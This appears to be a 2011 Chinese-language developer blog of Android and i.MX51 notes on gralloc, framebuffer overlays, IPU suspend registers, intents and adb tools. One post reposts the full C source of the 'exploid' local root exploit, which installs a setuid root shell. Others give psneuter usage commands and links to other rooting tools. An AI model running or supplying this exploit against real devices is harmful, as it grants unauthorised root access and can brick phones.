ubuntu 在 R40e 上 還有 Debian 在 Sempron 2600 上
2011年8月24日 星期三
在FramebufferNativeWindow.cpp :
hw_get_module 是所有 hareware module 的 loading interface
hw_get_module 其實就是依照 property set 的 module path, name ,要 dlopen 去 load 這個 so 近來。
在用 dlsym 取出 so 的 HAL_MODULE_INFO_SYM_AS_STR 這個 function 的 位址.
在這裡就是 .. GRALLOC_HARDWAE_MODULE_ID.
的確在 ..
取出的 function 叫 HMI..
gralloc 的 hmi interface 定義是:
FramebufferNativeWindow::FramebufferNativeWindow()
: BASE(), fbDev(0), grDev(0), mUpdateOnDemand(false)
{
hw_module_t const* module;
if (hw_get_module(GRALLOC_HARDWARE_MODULE_ID, &module) == 0) {
int stride;
int err;
int i;
err = framebuffer_open(module, &fbDev);
LOGE_IF(err, "couldn't open framebuffer HAL (%s)", strerror(-err));
err = gralloc_open(module, &grDev);
LOGE_IF(err, "couldn't open gralloc HAL (%s)", strerror(-err));
// bail out if we can't initialize the modules
if (!fbDev || !grDev)
hw_get_module 是所有 hareware module 的 loading interface
hardware/libhardware/hardware.c
hw_get_module 其實就是依照 property set 的 module path, name ,要 dlopen 去 load 這個 so 近來。
在用 dlsym 取出 so 的 HAL_MODULE_INFO_SYM_AS_STR 這個 function 的 位址.
在這裡就是 .. GRALLOC_HARDWAE_MODULE_ID.
./hardware/libhardware/include/hardware/gralloc.h:36:#define GRALLOC_HARDWARE_MODULE_ID "gralloc"
hw_get_module 會到3 個位置去找:
/* Loop through the configuration variants looking for a module */
for (i=0 ; i< HAL_VARIANT_KEYS_COUNT+1 ; i++) {
if (i < HAL_VARIANT_KEYS_COUNT) {
if (property_get(variant_keys[i], prop, NULL) == 0) {
continue;
}
snprintf(path, sizeof(path), "%s/%s.%s.so",
HAL_LIBRARY_PATH1, id, prop);
if (access(path, R_OK) == 0) break;
snprintf(path, sizeof(path), "%s/%s.%s.so",
HAL_LIBRARY_PATH2, id, prop);
if (access(path, R_OK) == 0) break;
} else {
snprintf(path, sizeof(path), "%s/%s.default.so",
HAL_LIBRARY_PATH1, id);
if (access(path, R_OK) == 0) break;
}
}
其中 .../hardware/libhardware/hardware.c:31:#define HAL_LIBRARY_PATH1 "/system/lib/hw"
./hardware/libhardware/hardware.c:32:#define HAL_LIBRARY_PATH2 "/vendor/lib/hw"
的確在 ..
/system/lib/hw/有
gralloc.imx5x.so
取出的 function 叫 HMI..
gralloc 的 hmi interface 定義是:
static struct hw_module_methods_t gralloc_module_methods = {
open: gralloc_device_open
};
struct private_module_t HAL_MODULE_INFO_SYM = {
base: {
common: {
tag: HARDWARE_MODULE_TAG,
version_major: 1,
version_minor: 0,
id: GRALLOC_HARDWARE_MODULE_ID,
name: "Graphics Memory Allocator Module",
author: "The Android Open Source Project",
methods: &gralloc_module_methods
},
registerBuffer: gralloc_register_buffer,
unregisterBuffer: gralloc_unregister_buffer,
lock: gralloc_lock,
unlock: gralloc_unlock,
},
framebuffer: 0,
flags: 0,
numBuffers: 0,
bufferMask: 0,
lock: PTHREAD_MUTEX_INITIALIZER,
currentBuffer: 0,
pmem_master: -1,
pmem_master_base: 0,
master_phys: 0
};
iMX51 : display. fb & overlay
framebuffer 和 Overlay。
所以 io control 上提供兩個 control code:
還有
這個 example code 設定 黑色 是穿透色,所以frame buffer 上黑色的部份才可以看到下面的 overlay。
@_@ ------- framebuffer ------- overlay 0 ------- overlay 1 ------- overlay 2overly 是在 frame buffer 的後面,所以設定 frame buffer 的 "穿透" 後,才可以看到 後面的 overlay。
所以 io control 上提供兩個 control code:
struct mxcfb_gbl_alpha alpha;
alpha.alpha = 255;
alpha.enable = 1;
if (ioctl(fd_fb, MXCFB_SET_GBL_ALPHA, &alpha) < 0) {
printf("Set global alpha failed\n");
close(fd_fb);
close(fd_capture_v4l);
close(fd_output_v4l);
return TFAIL;
}
enable 穿透 ... 完全穿透 -- 就是說 可以看到 下面的 overlay..還有
struct mxcfb_color_key key;
key.enable = 1;
key.color_key = 0x00000000; // Black
if(ioctl(fd_fb, MXCFB_SET_CLR_KEY, &key)<0)
{
printf("Error!Colorkey setting failed for dev\n");
close(fd_fb);
close(fd_capture_v4l);
close(fd_output_v4l);
return TFAIL;
}
printf("set transparent color key to 0x0000000\n");
設定 frame buffer 的 "穿透" 色。這個 example code 設定 黑色 是穿透色,所以frame buffer 上黑色的部份才可以看到下面的 overlay。
2011年8月23日 星期二
onAudioFocusChange
Android 程式在 Audio 的切換提供 onAudioFocusChange 這個 callback class。
需要知道有其他 ap 要使用 Audio 的訊息,就要實做這個 class。
因為Android系統的設計,只有一個 program 是在 forground 反應訊息。
其他都會是在 pause state。
-- 這種 audio 衝突/共用 的時機大多是在 forground 與 background 共存得時候。
onAudioFocusChange 是implement 在 background service 的。
要發生動作,要
需要知道有其他 ap 要使用 Audio 的訊息,就要實做這個 class。
因為Android系統的設計,只有一個 program 是在 forground 反應訊息。
其他都會是在 pause state。
-- 這種 audio 衝突/共用 的時機大多是在 forground 與 background 共存得時候。
onAudioFocusChange 是implement 在 background service 的。
要發生動作,要
Android 程式系統
Android 的每個程式都是一個獨立的 process,一個由 jvm 執行的 java code。
java 缺少的就是 IPC,為此,android 設計了一個很大的framework來作到 process 間的通訊。
他把 Android 系統設計類似 message 驅動的系統。
message 在android 系統中稱作 intent。
每個程式就是負責接收/處理 message 的 handler (call back function)。
Android 中,要啟動一個程式,實際上是請 經由 framework 找到要啟動的 程式(class),請 dalvik load 起來,並且把 intent 交給那個 class。
每個程式(class)都可子把 intent 送給任一個 class (無論他是否已經 load 起來 run 了),
一旦另一個程式啟動 ,原來的程式就會被 push 到 task stack 中,等前方的程式結束,或是 back,才會被 pop 出來。
所以 android 的程式不是 由 main 進入,而是由 activity( ) 進入。
就這樣,整個 android 系統裡的 class,可以說是獨立,也可以說是整合在一起。
Task stack 的觀念,當stack 過深時,會發生 stack overflow,
android 設計的 memory 回收機制會把 stack 中XO 得 process 先回收。如果stack pop 到被回收的 task,android 會把他再 load 近來。
Android 的 Home 鍵,就是送 intent 給 HOME Launcher 程式,所以原程式會被 push 到 task stack。
Android 的 Back 鍵,就會把 process 結束(?),把 task stack 的程式 pop 出來。
-- 所以上次是 HOME Launcher 叫起來的程式,按下 back 鍵後,Launcher 會被叫回來。
所以 Android 系統好像沒有一個類似 shell 的 command console 和 program loader 等等。
第一個啟動的program,經由 " 送 intent 給其他 class,把 class run 起來", 串起整個系統...
java 缺少的就是 IPC,為此,android 設計了一個很大的framework來作到 process 間的通訊。
他把 Android 系統設計類似 message 驅動的系統。
message 在android 系統中稱作 intent。
每個程式就是負責接收/處理 message 的 handler (call back function)。
Android 中,要啟動一個程式,實際上是請 經由 framework 找到要啟動的 程式(class),請 dalvik load 起來,並且把 intent 交給那個 class。
每個程式(class)都可子把 intent 送給任一個 class (無論他是否已經 load 起來 run 了),
一旦另一個程式啟動 ,原來的程式就會被 push 到 task stack 中,等前方的程式結束,或是 back,才會被 pop 出來。
所以 android 的程式不是 由 main 進入,而是由 activity( ) 進入。
就這樣,整個 android 系統裡的 class,可以說是獨立,也可以說是整合在一起。
Task stack 的觀念,當stack 過深時,會發生 stack overflow,
android 設計的 memory 回收機制會把 stack 中XO 得 process 先回收。如果stack pop 到被回收的 task,android 會把他再 load 近來。
Android 的 Home 鍵,就是送 intent 給 HOME Launcher 程式,所以原程式會被 push 到 task stack。
Android 的 Back 鍵,就會把 process 結束(?),把 task stack 的程式 pop 出來。
-- 所以上次是 HOME Launcher 叫起來的程式,按下 back 鍵後,Launcher 會被叫回來。
所以 Android 系統好像沒有一個類似 shell 的 command console 和 program loader 等等。
第一個啟動的program,經由 " 送 intent 給其他 class,把 class run 起來", 串起整個系統...
2011年8月22日 星期一
c string function : strspn 比較字串..
int strspn(char *strA, char* pattern)
會把strA中,第一個不在 pattern 所包含的字元 位置 return 回來。在 bionic 的 source 是:
size_t
strspn(const char *s1, const char *s2)
{
const char *p = s1, *spanp;
char c, sc;
/*
* Skip any characters in s2, excluding the terminating \0.
*/
cont:
c = *p++;
for (spanp = s2; (sc = *spanp++) != 0;)
if (sc == c)
goto cont;
return (p - 1 - s1);
}
就是把 strA 的字元從頭一個一個和 pattern,所以找到不在 pattern 的就是答案了..
一般用:
if(strspn(&filename,"0123456789") == strlen(&filename))
來找出 完全是數字的 filename..
subversion with proxy, for servers outside
公司有自己的 subversion serve,對外有設 http_proxy,
所以co 內部 server 時,不用 http_proxy,對外才要用。
修改 .subversion/server
這樣會 complain " option
所以co 內部 server 時,不用 http_proxy,對外才要用。
修改 .subversion/server
[global]
http-proxy-exceptions = *.lowtek.com, *.exception.com, www.internal-site.org
http-proxy-host = 192.168.147.242
http-proxy-port = 3128
要注意,直接comment 掉開頭的 "#" 字,會有一個 space。這樣會 complain " option
option expected
所以不可以留 space.
2011年8月19日 星期五
camera interface, output & de-interlace
interfaced format 是在 capture 支援的。
video output 時,直接 不要title bar 可以:
寫在 AndroidManifest.xml :
所以要把tvin 程式改一下,看是用 jni 寫,還是寫成 standalone 程式,用 exec 來執行 (怎麼停? kill ?)
用現有的syscommand run tvin program,另外寫一個 kill tvin 的 c program。一樣用 syscommand 來run。
de-interlaced 則是由 output 支援。
adv7180 - capture /camera_in 沒有改 driver,就可以自動辨識 UYVY_I 的 input format。
只是輸出會看到有橫紋的未 de-interlaced 畫面。
也就是說 field 可以正確解出。
de-interlace 要靠 output 來作。
Android 的 output 和 SurfaceView 綁在一起。
所以區分一下:
video output 和 camera capture。video output 時,直接 不要title bar 可以:
寫在 AndroidManifest.xml :
android:theme="@android:style/Theme.NoTitleBar"
或是,寫在 code:
所以要把tvin 程式改一下,看是用 jni 寫,還是寫成 standalone 程式,用 exec 來執行 (怎麼停? kill ?)
用現有的syscommand run tvin program,另外寫一個 kill tvin 的 c program。一樣用 syscommand 來run。
Sony Ericsson opensource site
sony erisson open source site:
http://opensource.sonyericsson.com
慘.. X10 mini /pro 的 kernel 沒有 enable iptable.
http://opensource.sonyericsson.com
慘.. X10 mini /pro 的 kernel 沒有 enable iptable.
2011年8月17日 星期三
Input keyevent : send key by command
open source / linux 系統的開發環境就是有這樣的好處,有test tool,也有 source code。
key event 的注入程式: input
source code 在
是一個 java 程式,要用 dalvik run 起來,所以附一個 run script:
在
使用方法看 source code:
支援 text 和 keyevent 。
keyevent 的話..
就是把 event code 寫在後面:
.. 那 code 的 mapping 呢?
key event 的注入程式: input
source code 在
frameworks/base/cmds/input/src/com/android/commands/input
是一個 java 程式,要用 dalvik run 起來,所以附一個 run script:
在
frameworks/base/cmds/input
# Script to start "input" on the device, which has a very rudimentary
# shell.
#
base=/system
export CLASSPATH=$base/framework/input.jar
exec app_process $base/bin com.android.commands.input.Input $*
使用方法看 source code:
String command = args[0];
if (command.equals("text")) {
sendText(args[1]);
} else if (command.equals("keyevent")) {
sendKeyEvent(args[1]);
} else if (command.equals("motionevent")) {
System.err.println("Error: motionevent not yet supported.");
return;
}
支援 text 和 keyevent 。
keyevent 的話..
private void sendKeyEvent(String event) {
int eventCode = Integer.parseInt(event);
long now = SystemClock.uptimeMillis();
Log.i("SendKeyEvent", event);
try {
KeyEvent down = new KeyEvent(now, now, KeyEvent.ACTION_DOWN, eventCode, 0);
KeyEvent up = new KeyEvent(now, now, KeyEvent.ACTION_UP, eventCode, 0);
(IWindowManager.Stub
.asInterface(ServiceManager.getService("window")))
.injectKeyEvent(down, true);
(IWindowManager.Stub
.asInterface(ServiceManager.getService("window")))
.injectKeyEvent(up, true);
} catch (RemoteException e) {
Log.i("Input", "DeadOjbectException");
}
}
就是把 event code 寫在後面:
#input keyevent code
.. 那 code 的 mapping 呢?
more root source : z4root
z4root 也是有source code 的,在 google code:
http://code.google.com/p/z4root/
有提到 "Sebastian Krahmer's rageagainstthecage" ,google 的話,會有一堆:
http://www.google.com.tw/search?hl=zh-TW&sa=X&ei=_y9LTt6MJ6WBsgKDg4TOCA&ved=0CBcQBSgA&q=Sebastian+Krahmer+RageAgainstTheCage&spell=1&biw=1366&bih=599
http://code.google.com/p/z4root/
有提到 "Sebastian Krahmer's rageagainstthecage" ,google 的話,會有一堆:
http://www.google.com.tw/search?hl=zh-TW&sa=X&ei=_y9LTt6MJ6WBsgKDg4TOCA&ved=0CBcQBSgA&q=Sebastian+Krahmer+RageAgainstTheCage&spell=1&biw=1366&bih=599
Another root program psneuter
上次那個好像不能 root 2.1 版,另一個版本似乎可以,在 github:
https://github.com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter
使用方法好像是
原來的 code 是 for htc G2,要是給 SE 用,好像要改一下
這一篇有人改了: http://forum.xda-developers.com/showthread.php?t=905183
https://github.com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter
使用方法好像是
C:\android\platform-tools>adb push psneuter /data/local/tmp 1426 KB/s (557962 bytes in 0.382s) C:\android\platform-tools>adb shell chmod 777 /data/local/tmp/psneuter C:\android\platform-tools>adb shell /data/local/tmp/psneuter property service neutered. killing adbd. (should restart in a second or two) C:\android\platform-tools>adb shell-- 大概就是讓 adb service run 在 root .
原來的 code 是 for htc G2,要是給 SE 用,好像要改一下
這一篇有人改了: http://forum.xda-developers.com/showthread.php?t=905183
android root program : exploid
這篇含有source code: http://c-skills.blogspot.com/2010/07/android-trickery.html
好像是所有 android 都可以 root。
* 好像只能 root 1.6,
* 2.1 的寫在另一篇:http://r40eubuntu.blogspot.com/2011/08/another-root-program-psneuter.html
這還是有參考價值,
因為是 gpl,所以就把 code 貼出來:
* 這篇的 code to html 是從 http://www.palfrader.org/code2html/code2html.html
* 好像只能 root 1.6,
* 2.1 的寫在另一篇:http://r40eubuntu.blogspot.com/2011/08/another-root-program-psneuter.html
這還是有參考價值,
因為是 gpl,所以就把 code 貼出來:
/* android 1.x/2.x the real youdev feat. init local root exploit. * (C) 2009/2010 by The Android Exploid Crew. * * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run. * Or use /data/local/tmp if available (thx to ioerror!) It is important to * to use /sqlite_stmt_journals directory if available. * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc} * or use USB keys etc. This will invoke hotplug which is actually * our exploit making /system/bin/rootshell. * This exploit requires /etc/firmware directory, e.g. it will * run on real devices and not inside the emulator. * I'd like to have this exploitet by using the same blockdevice trick * as in udev, but internal structures only allow world writable char * devices, not block devices, so I used the firmware subsystem. * * !!!This is PoC code for educational purposes only!!! * If you run it, it might crash your device and make it unusable! * So you use it at your own risk! * * Thx to all the TAEC supporters. */ #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <linux/netlink.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <signal.h> #include <sys/mount.h> // CHANGE! #define SECRET "secret" void die(const char *msg) { perror(msg); exit(errno); } void copy(const char *from, const char *to) { int fd1, fd2; char buf[0x1000]; ssize_t r = 0; if ((fd1 = open(from, O_RDONLY)) < 0) die("[-] open"); if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) die("[-] open"); for (;;) { r = read(fd1, buf, sizeof(buf)); if (r < 0) die("[-] read"); if (r == 0) break; if (write(fd2, buf, r) != r) die("[-] write"); } close(fd1); close(fd2); sync(); sync(); } void clear_hotplug() { int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC); write(ofd, "", 1); close(ofd); } void rootshell(char **env) { char pwd[128]; char *sh[] = {"/system/bin/sh", 0}; memset(pwd, 0, sizeof(pwd)); readlink("/proc/self/fd/0", pwd, sizeof(pwd)); if (strncmp(pwd, "/dev/pts/", 9) != 0) die("[-] memory tricks"); write(1, "Password (echoed):", 18); memset(pwd, 0, sizeof(pwd)); read(0, pwd, sizeof(pwd) - 1); sleep(2); if (strlen(pwd) < 6) die("[-] password too short"); if (memcmp(pwd, SECRET, strlen(SECRET)) != 0) die("[-] wrong password"); setuid(0); setgid(0); execve(*sh, sh, env); die("[-] execve"); } int main(int argc, char **argv, char **env) { char buf[512], path[512]; int ofd; struct sockaddr_nl snl; struct iovec iov = {buf, sizeof(buf)}; struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; int sock; char *basedir = NULL; /* I hope there is no LD_ bug in androids rtld :) */ if (geteuid() == 0 && getuid() != 0) rootshell(env); if (readlink("/proc/self/exe", path, sizeof(path)) < 0) die("[-] readlink"); if (geteuid() == 0) { clear_hotplug(); /* remount /system rw */ if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0) mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0); copy(path, "/system/bin/rootshell"); chmod("/system/bin/rootshell", 04711); for (;;); } printf("[*] Android local root exploid (C) The Android Exploid Crew\n"); basedir = "/sqlite_stmt_journals"; if (chdir(basedir) < 0) { basedir = "/data/local/tmp"; if (chdir(basedir) < 0) basedir = strdup(getcwd(buf, sizeof(buf))); } printf("[+] Using basedir=%s, path=%s\n", basedir, path); printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n"); memset(&snl, 0, sizeof(snl)); snl.nl_pid = 1; snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket"); close(creat("loading", 0666)); if ((ofd = creat("hotplug", 0644)) < 0) die("[-] creat"); if (write(ofd, path , strlen(path)) < 0) die("[-] write"); close(ofd); symlink("/proc/sys/kernel/hotplug", "data"); snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c" "SUBSYSTEM=firmware%c" "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0); printf("[+] sending add message ...\n"); if (sendmsg(sock, &msg, 0) < 0) die("[-] sendmsg"); close(sock); printf("[*] Try to invoke hotplug now, clicking at the wireless\n" "[*] settings, plugin USB key etc.\n" "[*] You succeeded if you find /system/bin/rootshell.\n" "[*] GUI might hang/restart meanwhile so be patient.\n"); sleep(3); return 0; }
* 這篇的 code to html 是從 http://www.palfrader.org/code2html/code2html.html
2011年8月15日 星期一
這一段 不錯,紀錄一下,有空再trace..
某AP退出的時候..
E/ActivityThread( 2535): Activity com.rtek.DVDAp.DVDAp has leaked
IntentReceiver com.rtek.DVDAp.DVDAp$ScreenReceiver@2afd2398
that was originally registered here.
Are you missing a call to unregisterReceiver()?
E/ActivityThread( 2535): android.app.IntentReceiverLeaked:
Activity com.rtek.DVDAp.DVDAp has leaked IntentReceiver com.rltek.DVDAp.DVDAp$ScreenReceiver@2afd2398
that was originally registered here.
Are you missing a call to unregisterReceiver()?
E/ActivityThread( 2535): at android.app.LoadedApk$ReceiverDispatcher.(LoadedApk.java:756)
E/ActivityThread( 2535): at android.app.LoadedApk.getReceiverDispatcher(LoadedApk.java:551)
E/ActivityThread( 2535): at android.app.ContextImpl.registerReceiverInternal(ContextImpl.java:798)
E/ActivityThread( 2535): at android.app.ContextImpl.registerReceiver(ContextImpl.java:785)
E/ActivityThread( 2535): at android.app.ContextImpl.registerReceiver(ContextImpl.java:779)
E/ActivityThread( 2535): at android.content.ContextWrapper.registerReceiver(ContextWrapper.java:318)
E/ActivityThread( 2535): at com.rtek.DVDAp.DVDAp.onCreate(DVDAp.java:502)
E/ActivityThread( 2535): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047)
E/ActivityThread( 2535): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1611)
E/ActivityThread( 2535): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1663)
E/ActivityThread( 2535): at android.app.ActivityThread.access$1500(ActivityThread.java:117)
E/ActivityThread( 2535): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:931)
E/ActivityThread( 2535): at android.os.Handler.dispatchMessage(Handler.java:99)
E/ActivityThread( 2535): at android.os.Looper.loop(Looper.java:123)
E/ActivityThread( 2535): at android.app.ActivityThread.main(ActivityThread.java:3683)
E/ActivityThread( 2535): at java.lang.reflect.Method.invokeNative(Native Method)
E/ActivityThread( 2535): at java.lang.reflect.Method.invoke(Method.java:507)
E/ActivityThread( 2535): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839)
E/ActivityThread( 2535): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597)
E/ActivityThread( 2535): at dalvik.system.NativeStart.main(Native Method)
這一段 不錯,紀錄一下,有空再trace..
2011年8月12日 星期五
ipu 的部份,suspend 時存起來的 register:
uninit_channel MEM_PRP_VF_MEM 時,有寫到的 register:
/* save double buffer select regs */
ipu_cha_db_mode_reg[0] = __raw_readl(IPU_CHA_DB_MODE_SEL(0));
ipu_cha_db_mode_reg[1] = __raw_readl(IPU_CHA_DB_MODE_SEL(32));
ipu_cha_db_mode_reg[2] =
__raw_readl(IPU_ALT_CHA_DB_MODE_SEL(0));
ipu_cha_db_mode_reg[3] =
__raw_readl(IPU_ALT_CHA_DB_MODE_SEL(32));
/* save triple buffer select regs */
ipu_cha_trb_mode_reg[0] = __raw_readl(IPU_CHA_TRB_MODE_SEL(0));
ipu_cha_trb_mode_reg[1] = __raw_readl(IPU_CHA_TRB_MODE_SEL(32));
/* save current buffer regs */
ipu_cha_cur_buf_reg[0] = __raw_readl(IPU_CHA_CUR_BUF(0));
ipu_cha_cur_buf_reg[1] = __raw_readl(IPU_CHA_CUR_BUF(32));
ipu_cha_cur_buf_reg[2] = __raw_readl(IPU_ALT_CUR_BUF0);
ipu_cha_cur_buf_reg[3] = __raw_readl(IPU_ALT_CUR_BUF1);
/* save current triple buffer regs */
ipu_cha_triple_cur_buf_reg[0] =
__raw_readl(IPU_CHA_TRIPLE_CUR_BUF(0));
ipu_cha_triple_cur_buf_reg[1] =
__raw_readl(IPU_CHA_TRIPLE_CUR_BUF(32));
ipu_cha_triple_cur_buf_reg[2] =
__raw_readl(IPU_CHA_TRIPLE_CUR_BUF(64));
ipu_cha_triple_cur_buf_reg[3] =
__raw_readl(IPU_CHA_TRIPLE_CUR_BUF(96));
/* save idamc sub addr regs */
idma_sub_addr_reg[0] = __raw_readl(IDMAC_SUB_ADDR_0);
idma_sub_addr_reg[1] = __raw_readl(IDMAC_SUB_ADDR_1);
idma_sub_addr_reg[2] = __raw_readl(IDMAC_SUB_ADDR_2);
idma_sub_addr_reg[3] = __raw_readl(IDMAC_SUB_ADDR_3);
idma_sub_addr_reg[4] = __raw_readl(IDMAC_SUB_ADDR_4);
/* save sub-modules status and disable all */
ic_conf_reg = __raw_readl(IC_CONF);
__raw_writel(0, IC_CONF);
ipu_conf_reg = __raw_readl(IPU_CONF);
__raw_writel(0, IPU_CONF);
/* save buf ready regs */
buf_ready_reg[0] = __raw_readl(IPU_CHA_BUF0_RDY(0));
buf_ready_reg[1] = __raw_readl(IPU_CHA_BUF0_RDY(32));
buf_ready_reg[2] = __raw_readl(IPU_CHA_BUF1_RDY(0));
buf_ready_reg[3] = __raw_readl(IPU_CHA_BUF1_RDY(32));
buf_ready_reg[4] = __raw_readl(IPU_ALT_CHA_BUF0_RDY(0));
buf_ready_reg[5] = __raw_readl(IPU_ALT_CHA_BUF0_RDY(32));
buf_ready_reg[6] = __raw_readl(IPU_ALT_CHA_BUF1_RDY(0));
buf_ready_reg[7] = __raw_readl(IPU_ALT_CHA_BUF1_RDY(32));
buf_ready_reg[8] = __raw_readl(IPU_CHA_BUF2_RDY(0));
buf_ready_reg[9] = __raw_readl(IPU_CHA_BUF2_RDY(32));
uninit_channel MEM_PRP_VF_MEM 時,有寫到的 register:
/* Reset the double buffer */
reg = __raw_readl(IPU_CHA_DB_MODE_SEL(in_dma));
__raw_writel(reg & ~idma_mask(in_dma), IPU_CHA_DB_MODE_SEL(in_dma));
reg = __raw_readl(IPU_CHA_DB_MODE_SEL(out_dma));
__raw_writel(reg & ~idma_mask(out_dma), IPU_CHA_DB_MODE_SEL(out_dma));
/* Reset the triple buffer */
reg = __raw_readl(IPU_CHA_TRB_MODE_SEL(in_dma));
__raw_writel(reg & ~idma_mask(in_dma), IPU_CHA_TRB_MODE_SEL(in_dma));
reg = __raw_readl(IPU_CHA_TRB_MODE_SEL(out_dma));
__raw_writel(reg & ~idma_mask(out_dma), IPU_CHA_TRB_MODE_SEL(out_dma));
/* case MEM_PRP_VF_MEM */
_ipu_ic_uninit_prpvf();
_ipu_vdi_uninit();
reg = __raw_readl(IPU_FS_PROC_FLOW1);
__raw_writel(reg & ~FS_VF_IN_VALID, IPU_FS_PROC_FLOW1);
/* misc */
__raw_writel(ipu_conf, IPU_CONF);
結果重點是最後的 clk_disable,只要clk 沒關,就resume 不起來..
Android configuration change -- additional Make rules
當變更 product configuration時,make 會有:
*** Build configuration changed: "imx51_bbg-eng-{en_US,fr_FR,it_IT,es_ES,de_DE,nl_NL,cs_CZ,pl_PL,ja_JP,zh_TW,zh_CN,ru_RU,ko_KR,nb_NO, es_US,da_DK,el_GR,tr_TR,pt_PT,pt_BR,rm_CH,sv_SE,bg_BG,ca_ES,en_GB,fi_FI,hr_HR,hu_HU, in_ID,iw_IL,lt_LT,lv_LV,ro_RO,sk_SK,sl_SI,sr_RS,uk_UA,vi_VN,tl_PH,hdpi,mdpi,nodpi}" -> "imx51_bbg-eng-{zh_TW,zh_CN,en_US,hdpi,nodpi}" *** Forcing "make installclean"... *** rm -rf out/target/product/imx51_bbg/data/* out/target/product/imx51_bbg/data-qemu/* out/target/product/imx51_bbg/userdata-qemu.img out/host/linux-x86/obj/NOTICE_FILES out/host/linux-x86/sdk out/target/product/imx51_bbg/*.img out/target/product/imx51_bbg/*.txt out/target/product/imx51_bbg/*.xlb out/target/product/imx51_bbg/*.zip out/target/product/imx51_bbg/data out/target/product/imx51_bbg/obj/APPS out/target/product/imx51_bbg/obj/NOTICE_FILES out/target/product/imx51_bbg/obj/PACKAGING out/target/product/imx51_bbg/recovery out/target/product/imx51_bbg/root out/target/product/imx51_bbg/system out/target/product/imx51_bbg/dex_bootjars out/target/product/imx51_bbg/obj/JAVA_LIBRARIES *** Done with the cleaning, now starting the real build.好像 out/target/product/imx51_bbg 下的都刪掉了呀.
Xperia X10 mini pro : PC company download location
買了二手的 X10 mini pro (3200+100)。
PC company 這麼難找:
http://www.sonyericsson.com/cws/support/mobilephones/downloads/subject/pccompanion/xperiax10minipro?cc=gb&lc=en
還有 xda 有關 x10 mini (pro) 的位置:
http://forum.xda-developers.com/forumdisplay.php?f=727
PC company 這麼難找:
http://www.sonyericsson.com/cws/support/mobilephones/downloads/subject/pccompanion/xperiax10minipro?cc=gb&lc=en
還有 xda 有關 x10 mini (pro) 的位置:
http://forum.xda-developers.com/forumdisplay.php?f=727
2011年8月11日 星期四
./include/linux/ipu.h:148:#define IPU_CHAN_ID(ch) (ch >> 24)
對應 data sheet register field, channel field 是第 24 bit 開始。
然後是 channel name 定義:
MEM_ROT_ENC_MEM = _MAKE_CHAN(1, 45, NO_DMA, NO_DMA, 48),
MEM_ROT_VF_MEM = _MAKE_CHAN(2, 46, NO_DMA, NO_DMA, 49),
MEM_ROT_PP_MEM = _MAKE_CHAN(3, 47, NO_DMA, NO_DMA, 50),
MEM_PRP_ENC_MEM = _MAKE_CHAN(4, 12, 14, 17, 20),
MEM_PRP_VF_MEM = _MAKE_CHAN(5, 12, 14, 17, 21),
MEM_PP_MEM = _MAKE_CHAN(6, 11, 15, 18, 22),
MEM_DC_SYNC = _MAKE_CHAN(7, 28, NO_DMA, NO_DMA, NO_DMA),
MEM_DC_ASYNC = _MAKE_CHAN(8, 41, NO_DMA, NO_DMA, NO_DMA),
MEM_BG_SYNC = _MAKE_CHAN(9, 23, NO_DMA, 51, NO_DMA),
MEM_FG_SYNC = _MAKE_CHAN(10, 27, NO_DMA, 31, NO_DMA),
MEM_BG_ASYNC0 = _MAKE_CHAN(11, 24, NO_DMA, 52, NO_DMA),
MEM_FG_ASYNC0 = _MAKE_CHAN(12, 29, NO_DMA, 33, NO_DMA),
MEM_BG_ASYNC1 = _MAKE_ALT_CHAN(MEM_BG_ASYNC0),
MEM_FG_ASYNC1 = _MAKE_ALT_CHAN(MEM_FG_ASYNC0),
DIRECT_ASYNC0 = _MAKE_CHAN(13, NO_DMA, NO_DMA, NO_DMA, NO_DMA),
DIRECT_ASYNC1 = _MAKE_CHAN(14, NO_DMA, NO_DMA, NO_DMA, NO_DMA),
CSI_MEM0 = _MAKE_CHAN(15, NO_DMA, NO_DMA, NO_DMA, 0),
CSI_MEM1 = _MAKE_CHAN(16, NO_DMA, NO_DMA, NO_DMA, 1),
CSI_MEM2 = _MAKE_CHAN(17, NO_DMA, NO_DMA, NO_DMA, 2),
CSI_MEM3 = _MAKE_CHAN(18, NO_DMA, NO_DMA, NO_DMA, 3),
CSI_MEM = CSI_MEM0,
CSI_PRP_ENC_MEM = _MAKE_CHAN(19, NO_DMA, NO_DMA, NO_DMA, 20),
CSI_PRP_VF_MEM = _MAKE_CHAN(20, NO_DMA, NO_DMA, NO_DMA, 21),
MEM_VDI_PRP_VF_MEM_P = _MAKE_CHAN(21, 8, 14, 17, 21),
MEM_VDI_PRP_VF_MEM = _MAKE_CHAN(22, 9, 14, 17, 21),
MEM_VDI_PRP_VF_MEM_N = _MAKE_CHAN(23, 10, 14, 17, 21),
MEM_PP_ADC = CHAN_NONE,
ADC_SYS2 = CHAN_NONE,
還有 _MAKE_CHAN 是:
#define _MAKE_CHAN(num, v_in, g_in, a_in, out) \
((num << 24) | (v_in << 18) | (g_in << 12) | (a_in << 6) | out)
所以第一個 field 就是 channel nummber.
現在發現 enable tvin 時,會 init channe:
15, 10, 22, 21, 23,其中 22,21,23 在 suspend 時好像沒有 uninit..
在 ipu_suspend 的地方加上 :
